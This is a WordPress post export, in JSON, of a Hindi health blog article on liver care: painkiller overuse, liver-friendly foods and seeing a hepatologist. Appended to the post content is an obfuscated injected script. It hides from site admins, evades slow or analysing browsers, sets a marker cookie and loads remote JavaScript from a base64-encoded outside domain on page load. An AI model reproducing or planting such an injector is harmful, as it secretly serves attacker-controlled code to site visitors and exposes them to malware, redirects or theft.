{"id":2345,"date":"2022-07-14T16:10:58","date_gmt":"2022-07-14T16:10:58","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=2345"},"modified":"2025-10-24T21:35:06","modified_gmt":"2025-10-24T21:35:06","slug":"%e0%a4%b8%e0%a4%bf%e0%a4%b0%e0%a5%8d%e0%a4%ab-%e0%a4%b6%e0%a4%b0%e0%a4%be%e0%a4%ac-%e0%a4%b9%e0%a5%80-%e0%a4%a8%e0%a4%b9%e0%a5%80%e0%a4%82-%e0%a4%af%e0%a5%87-%e0%a4%9a%e0%a5%80%e0%a4%9c%e0%a5%87","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/14\/%e0%a4%b8%e0%a4%bf%e0%a4%b0%e0%a5%8d%e0%a4%ab-%e0%a4%b6%e0%a4%b0%e0%a4%be%e0%a4%ac-%e0%a4%b9%e0%a5%80-%e0%a4%a8%e0%a4%b9%e0%a5%80%e0%a4%82-%e0%a4%af%e0%a5%87-%e0%a4%9a%e0%a5%80%e0%a4%9c%e0%a5%87\/","title":{"rendered":"Protecting Your Liver: Understanding and Preventing Damage"},"content":{"rendered":"<h1>\u00a0<\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-4175\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/liv-300x169.jpg\" alt=\"liv\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/liv-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/liv-768x432.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/liv.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092d\u0932\u0947 \u0939\u0940 \u0906\u092a \u0907\u0938 \u091a\u0940\u091c \u092a\u0930 \u0915\u094b\u0908 \u0927\u094d\u092f\u093e\u0928 \u0928\u0939\u0940\u0902 \u0926\u0947\u0924\u0947 \u0932\u0947\u0915\u093f\u0928 \u0906\u092a\u0915\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u093e \u0932\u093f\u0935\u0930 \u0939\u0930 \u0938\u092e\u092f \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948, 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\u092c\u093e\u0930 \u0938\u093f\u0930\u0926\u0930\u094d\u0926 \u092f\u093e \u092c\u0949\u0921\u0940 \u092a\u0947\u0928 \u0939\u094b\u0928\u0947 \u092a\u0930 \u0932\u094b\u0917 \u092a\u0947\u0928\u0915\u093f\u0932\u0930\u094d\u0938 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902, \u0910\u0938\u0947 \u092e\u0947\u0902 \u092f\u0939 \u091c\u093e\u0928\u0928\u093e \u0915\u093e\u092b\u0940 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948 \u0915\u093f \u0906\u092a \u0915\u093f\u0924\u0928\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092a\u0947\u0928\u0915\u093f\u0932\u0930\u094d\u0938 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930 \u0930\u0939\u0947 \u0939\u0948\u0902, \u0905\u0917\u0930 \u0906\u092a \u0917\u0932\u0924\u0940 \u0938\u0947 \u0907\u0928\u0915\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902\u0938\u0947\u0935\u0928 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0907\u0938\u0938\u0947 \u0906\u092a\u0915\u0947 \u0932\u093f\u0935\u0930 \u092a\u0930 \u092c\u0941\u0930\u093e \u0905\u0938\u0930 \u092a\u0921\u093c \u0938\u0915\u0924\u093e \u0939\u0948!<\/li>\n<\/ul>\n<h2>\u0932\u093f\u0935\u0930 \u0915\u094b \u0939\u0948\u0932\u094d\u0925\u0940 \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0915\u094d\u092f\u093e \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f?<\/h2>\n<ul>\n<li>\u092a\u092a\u0940\u0924\u093e \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902 \u0932\u093f\u0935\u0930 \u0915\u0947 \u0932\u093f\u090f \u092a\u092a\u0940\u0924\u093e \u092c\u0947\u0939\u0926 \u0932\u093e\u092d\u093e\u0915\u093e\u0930\u0940 \u0939\u0948<\/li>\n<li>\u0928\u0940\u0902\u092c\u0942 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902 \u0928\u0940\u0902\u092c\u0942 \u0932\u093f\u0935\u0930 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0926 \u091c\u0930\u0942\u0930\u0940 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948<\/li>\n<li>\u0932\u0939\u0938\u0941\u0928 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902 \u0932\u093f\u0935\u0930 \u0915\u094b \u0938\u094d\u0935\u0938\u094d\u0925 \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u092a \u0932\u0939\u0938\u0941\u0928 \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948<\/li>\n<li>\u0917\u094d\u0930\u0940\u0928 \u091f\u0940 \u092a\u0940\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0917\u094d\u0930\u0940\u0928 \u091f\u0940 \u092a\u0940\u0928\u0947 \u0938\u0947 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u091c\u092e\u093e \u092b\u0948\u091f \u0914\u0930 \u0935\u093f\u0937\u093e\u0915\u094d\u0924 \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u092c\u093e\u0939\u0930 \u0928\u093f\u0915\u0932 \u091c\u093e\u0924\u0947 \u0939\u0948<\/li>\n<li>\u0939\u0932\u094d\u0926\u0940 \u092d\u0940 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926<strong><br \/><\/strong><\/li>\n<\/ul>\n<h2><strong>\u0932\u093f\u0935\u0930<\/strong>\u00a0<strong>\u0938\u093e\u095e<\/strong>\u00a0<strong>\u0915\u0930\u0928\u0947<\/strong>\u00a0<strong>\u0915\u0947<\/strong>\u00a0<strong>\u0909\u092a\u093e\u090f<\/strong>\u00a0<strong>\u0915\u094d\u092f\u093e<\/strong>\u00a0<strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>\u092a\u094d\u0930\u094b\u0938\u0947\u0938\u094d\u0921 \u095e\u0942\u0921 \u0938\u0947 \u092c\u091a\u0947<\/li>\n<li>\u0917\u0941\u0928\u0917\u0941\u0928\u093e \u092a\u093e\u0928\u0940<\/li>\n<li>\u0939\u0930\u0947 \u092a\u0924\u094d\u0924\u0947\u0926\u093e\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902<\/li>\n<li>\u0915\u0949\u095e\u0940<\/li>\n<li>\u0906\u0935\u0902\u0932\u093e<\/li>\n<li>\u0915\u0930\u0947\u0932\u0947 \u0915\u093e \u0930\u0938<\/li>\n<\/ul>\n<h2><strong>\u0932\u093f\u0935\u0930<\/strong><strong>\u00a0 <\/strong><strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0921\u0949\u0915\u094d\u091f\u0930<\/strong> <strong>\u0915\u094b<\/strong> <strong>\u0926\u093f\u0916\u093e\u090f<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>Hepatologist<\/li>\n<\/ul>\n\n\n<p><strong>For more information Visit us :<\/strong><\/p>\n\n\n\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n\n\n\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n\n\n\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n\n\n\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n\n\n\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n\n\n\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n\n\n\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n\n\n<p><strong>&nbsp;<\/strong><\/p>\n<p><strong>RELATED VIDEO:&nbsp;<\/strong><\/p>\n<ol>\n<li><strong>causes of liver cirrhosis<\/strong> :&nbsp;<a href=\"https:\/\/youtu.be\/dDrcr8x4GIQ\">https:\/\/youtu.be\/dDrcr8x4GIQ<\/a><\/li>\n<li><strong>Swelling in the liver<\/strong> :&nbsp;<a href=\"https:\/\/youtu.be\/78DQUpqmVRs\">https:\/\/youtu.be\/78DQUpqmVRs<\/a><\/li>\n<li><strong>Liver Function Test<\/strong> :&nbsp;<a href=\"https:\/\/youtu.be\/yJQRKkEYXYc\">https:\/\/youtu.be\/yJQRKkEYXYc<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE :<\/strong><\/p>\n<ol>\n<li><strong>Liver Function Test<\/strong> :&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/02\/07\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/02\/07\/<\/a><\/li>\n<li><strong>Fatty liver diet plan :<\/strong>&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/06\/16\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/06\/16\/<\/a><\/li>\n<li><strong>cleaning the liver<\/strong> :&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/06\/16\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/06\/16\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<h3><strong>This video Covers the information about:<\/strong><\/h3>\n<h4>What things damage your liver? What should not be consumed to keep the liver healthy? What should be eaten to keep the liver healthy? Which doctor to see for liver?<\/h4>\n<p>PUBLISHED<strong> BY HEALTHS RAINBOW<\/strong><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u092d\u0932\u0947 \u0939\u0940 \u0906\u092a \u0907\u0938 \u091a\u0940\u091c \u092a\u0930 \u0915\u094b\u0908 \u0927\u094d\u092f\u093e\u0928 \u0928\u0939\u0940\u0902 \u0926\u0947\u0924\u0947 \u0932\u0947\u0915\u093f\u0928 \u0906\u092a\u0915\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u093e \u0932\u093f\u0935\u0930 \u0939\u0930 \u0938\u092e\u092f \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948, \u0910\u0938\u0947 \u092e\u0947\u0902 \u0932\u093f\u0935\u0930 \u0915\u093e \u0938\u0939\u0940 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0916\u094d\u092f\u093e\u0932 \u0928\u093e \u0930\u0916\u0928\u0947&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3136],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2345"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=2345"}],"version-history":[{"count":13,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2345\/revisions"}],"predecessor-version":[{"id":13767,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2345\/revisions\/13767"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=2345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=2345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=2345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}